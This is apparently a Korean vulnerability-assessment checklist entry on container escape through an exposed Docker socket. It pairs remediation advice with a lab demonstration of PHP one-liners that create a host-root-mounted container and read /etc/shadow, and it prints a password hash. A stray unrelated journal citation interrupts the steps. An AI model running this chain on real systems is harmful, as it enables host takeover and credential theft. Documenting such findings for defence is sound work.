

02	Docker Socket Exposure & Container Escape (컨테이너 탈출)
취약점 개요	
점검 내용	컨테이너 내부에 호스트의 Docker Daemon Socket(/var/run/docker.sock)이 마운트되어 접근 가능한지 점검
점검 목적	컨테이너가 침해되었을 때, 공격자가 Docker Socket을 이용하여 호스트 시스템의 제어권을 탈취하거나 다른 컨테이너를 변조하는 것을 방지함
보안 위협	- 노출된 Docker API를 통해 공격자가 호스트의 루트 디렉토리(/)가 마운트된 새로운 특권(Privileged) 컨테이너를 생성할 수 있음. - 이를 통해 호스트 시스템의 중요 파일(/etc/shadow 등)을 탈취하거나 호스트 권한으로 원격 코드를 실행하여 호스트 시스템 전체를 장악할 수 있음.
참고	취약한 웹(OS Command Injection) 침투 → 내부 Docker Socket 권한 확인 → Docker API 호출(호스트 볼륨 마운트 컨테이너 생성) → 호스트 파일 접근 및 탈취 공격 스크립트 예시 (PHP Socket API): <pre>php -r '\$s=socket_create(AF_UNIX, SOCK_STREAM, 0); socket_connect(\$s,"/var/run/docker.sock"); ...'</pre> 결과: 호스트의 /etc/shadow 패스워드 해시 정보 노출 및 호스트 권한 탈취 성공
점검대상 및 판단기준	
대상	웹 웹 애플리케이션 및 Docker 컨테이너 실행 환경 (docker-compose.yml, docker run 설정 등)
조치방법	- 컨테이너 구동 시 호스트의 /var/run/docker.sock을 컨테이너 내부에 볼륨 마운트(-v) 하지 않도록 설정 제거 - 불가피하게 컨테이너에서 Docker API 접근이 필요한 경우, 권한이 엄격히 제한된 Docker Socket Proxy를 사용하거나, TCP 기반의 TLS 인증이 적용된 안전한 API 통신으로 대체
점검 및 조치사례	
- 컨테이너 내부에서 <code>ls -al /var/run/docker.sock</code> 명령어를 실행한 결과, 소켓 파일이 존재하며 <code>srw-rw-rw-</code> 권한으로 누구나 읽고 쓸 수 있게 설정되어 있음을 확인. <pre>www-data@3ba95d31c26c:/app\$ ls -al /var/run/docker.sock ls -al /var/run/docker.sock srw-rw-rw- 1 root 1001 0 Mar 15 08:49 /var/run/docker.sock www-data@3ba95d31c26c:/app\$</pre> - PHP의 소켓 통신 모듈을 이용하여 Docker Daemon API(/v1.41/containers/create)에 POST 요청을 전송함. - 요청 페이로드에 호스트의 최상위 루트 디렉토리(/)를 새 컨테이너의 /host_root로 바인드 마운트 (Binds":["/:/host_root"]) 하도록 설정하고, 실행 명령어로 <code>chroot /host_root cat /etc/shadow</code>를 주입하여 컨테이너 생성 및 실행(.../start)함. <pre>www-data@3ba95d31c26c:/app\$ php -r '\$s=socket_create(AF_UNIX,SOCK_STREAM,0);socket_connect(\$s,"/var/run/docker.sock");socket_write(\$s,"GET /v1.41/images/json HTTP/1.1WrWnHost: localhostWrWnWrWn");while(\$o=socket_read(\$s,2048))echo \$o;'</pre>	

```

www-data@3ba95d31c26c:/app$ php -r '$s=socket_create(AF_UNIX,SOCK_STREAM,0);socket_connect($s,"/var/run/docker.sock");socket_write($s,"GET /v1.41/images/json HTTP/1.1\r\nHost: localhost\r\n\r\n");while($o=socket_read($s,2048))echo $o;'\n
<st\r\n\r\n");while($o=socket_read($s,2048))echo $o;'\n
HTTP/1.1 200 OK
Api-Version: 1.51
Content-Type: application/json
Date: Sun, 15 Mar 2026 14:04:21 GMT
Docker-Experimental: false
Ostype: linux
Server: Docker/28.5.2 (linux)
Transfer-Encoding: chunked

2221
[{"Containers":-1,"Created":1770742197,"Id":"sha256:d1e2e92c075e5ca139d51a140fff46f84315c0fdce203eab2807c7e495eff4f9","Labels":{"org.opencontainers.image.ref.name":"ubuntu","org.opencontainers.image.version":"24.04"},"ParentId":"","RepoDigests":["ubuntu@sha256:d1e2e92c075e5ca139d51a140fff46f84315c0fdce203eab2807c7e495eff4f9"],"RepoTags":["ubuntu:latest"],"SharedSize":-1,"Size":117323289,"VirtualSize":117323289},{"Containers":-1,"Created":1765808224,"Id":"sha256:828a5a5f932dfabad318709002a6d6b074e577edbf930a8dc531e76f4c912a21","Labels":{"com.docker.compose.project":"sme_attack_lab","com.docker.compose.service":"client_c_bwapp","com.docker.compose.version":"2.40.3"},"ParentId":"","RepoDigests":["client_c_bwapp@sha256:828a5a5f932dfabad318709002a6d6b074e577edbf930a8dc531e76f4c912a21"],"RepoTags":["client_c_bwapp:latest"],"SharedSize":-1,"Size":698081548,"VirtualSize":698081548},{"Containers":-1,"Created":1765806334,"Id":"sha256:301cb98d36df638999ecdb28729dee54a12ec76e8aaa954882b5290d5c831140","Labels":{"com.docker.compose.project":"sme_attack_lab","com.docker.compose.service":"client_a_owasp","com.docker.compose.version":"2.40.3","maintainer":"Bjoern Kimminich \u003cbjoern.kimminich@owasp.org\u003e","org.opencontainers.image.authors":"Bjoern Kimminich \u003cbjoern.kimminich

```

- 해당 이미지에서 "RepoTags":["ubuntu:latest"] 태그를 통해 우분투 도커 이미지가 생성이 가능하다는 정보를 획득한다.

```

www-data@3ba95d31c26c:/app$ php -r '$s=socket_create(AF_UNIX,SOCK_STREAM,0);socket_connect($s,"/var/run/docker.sock");$d=json_encode(["Image"=>"ubuntu:latest","Cmd"=>["chroot","/host_root","cat","/etc/shadow"],"HostConfig"=>["Binds"=>["/:/host_root"]]);$q="POST /v1.41/containers/create HTTP/1.1\r\nHost: localhost\r\nContent-Type: application/json\r\nContent-Length: '.strlen($d).'\r\n\r\n'.$d;socket_write($s,$q);while($o=socket_read($s,2048))echo $o;'\n

```

```

www-data@3ba95d31c26c:/app$ php -r '$s=socket_create(AF_UNIX,SOCK_STREAM,0);socket_connect($s,"/var/run/docker.sock");$d=json_encode(["Image"=>"ubuntu:latest","Cmd"=>["chroot","/host_root","cat","/etc/shadow"],"HostConfig"=>["Binds"=>["/:/host_root"]]);$q="POST /v1.41/containers/create HTTP/1.1\r\nHost: localhost\r\nContent-Type: application/json\r\nContent-Length: '.strlen($d).'\r\n\r\n'.$d;socket_write($s,$q);while($o=socket_read($s,2048))echo $o;'\n
<". $d;socket_write($s,$q);while($o=socket_read($s,2048))echo $o;'\n
HTTP/1.1 201 Created
Api-Version: 1.51
Content-Type: application/json
Date: Sun, 15 Mar 2026 14:08:04 GMT
Docker-Experimental: false
Ostype: linux
Server: Docker/28.5.2 (linux)
Transfer-Encoding: chunked

58
{"Id":"44fdf7b3392eb90fa83de39c35eda003b0f3f891bf6c1415cb4c1099f5e51d1f","Warnings":[]}
0

```

- 루트 권한을 가진 도커 이미지를 생성하고 해당 컨테이너 ID를 획득한다.

```

www-data@3ba95d31c26c:/app$ php -r '$s=socket_create(AF_UNIX,SOCK_STREAM,0);socket_connect($s,"/var/run/docker.sock");$q="POST /v1.41/containers/44fdf7b3392eb90fa83de39c35eda003b0f3f891bf6c1415cb4c1099f5e51d1f/start HTTP/1.1\r\nHost: localhost\r\n\r\n";socket_write($s,$q);while($o=socket_read($s,2048))echo $o;'\n

```

1. *Journal of Management Studies*, 1996, 33, 1, 1-14.

- ```
www-data@3ba95d31c26c:/app$ php -r
'$s=socket_create(AF_UNIX,SOCK_STREAM,0);socket_connect($s,"/var/run/docker.sock");$q="GET
/v1.41/containers/44fdf7b3392eb90fa83de39c35eda003b0f3f891bf6c1415cb4c1099f5e51d1f/logs?stdout=true
HTTP/1.1\r\nHost: localhost\r\n\r\n";socket_write($s,$q);while($o=socket_read($s,2048))echo $o:'
```

- 생성된 컨테이너에 접근하게 되면 호스트의 /etc/shadow파일 정보가 그대로 드러나게 된다.

- 실제 호스트 /etc/passwd

```
apogatto@DESKTOP-LEHJIUV:~$ sudo cat /etc/shadow
[sudo] password for apogatto:
Sorry, try again.
[sudo] password for apogatto:
root:*:20094:0:99999:7:::
daemon:*:20094:0:99999:7:::
bin:*:20094:0:99999:7:::
sys:*:20094:0:99999:7:::
sync:*:20094:0:99999:7:::
games:*:20094:0:99999:7:::
man:*:20094:0:99999:7:::
lp:*:20094:0:99999:7:::
mail:*:20094:0:99999:7:::
news:*:20094:0:99999:7:::
uucp:*:20094:0:99999:7:::
proxy:*:20094:0:99999:7:::
www-data:*:20094:0:99999:7:::
backup:*:20094:0:99999:7:::
list:*:20094:0:99999:7:::
irc:*:20094:0:99999:7:::
_apt:*:20094:0:99999:7:::
nobody:*:20094:0:99999:7:::
systemd-network:!:20094:0:0:0:
systemd-timesync:!:20094:0:0:0:
dhcpcd:!:20094:0:0:0:
messagebus:!:20094:0:0:0:
syslog:!:20094:0:0:0:
systemd-resolve:!:20094:0:0:0:
uidd:!:20094:0:0:0:
landscape:!:20094:0:0:0:
polkitd:!:20094:0:0:0:
apogatto:yj9T$KBDMUjRXnTDKpdFinfBGw/$mh09LmrD.MyebseSbUhhNJMQpkvXrHmVVqg2LFABaiB:20408:0:99999:7:::
```

#### [조치방법]

1. 마운트 제거 및 권한 통제: 컨테이너 생성 시 불필요한 Docker Socket(/var/run/docker.sock) 볼륨 마운트를 원천 제거하고, 소켓 파일 접근 권한을 관리자(root/docker 그룹) 전용으로 엄격히 제한한다.
2. 프록시 기반 통신 제어: 모니터링 등의 이유로 API 접근이 불가피할 경우, Docker Socket Proxy를 도입하여 컨테이너 생성(POST) 등 위험한 권한을 차단하고 읽기(GET) 권한만 최소한으로 부여한다.
3. 네임스페이스 격리(User Namespace): Docker 엔진에 userns-remap 기능을 적용하여, 공격자가 컨테이너 내부의 root 권한을 탈취하더라도 실제 호스트 OS에서는 권한 없는 일반 사용자로 취급되도록 격리한다.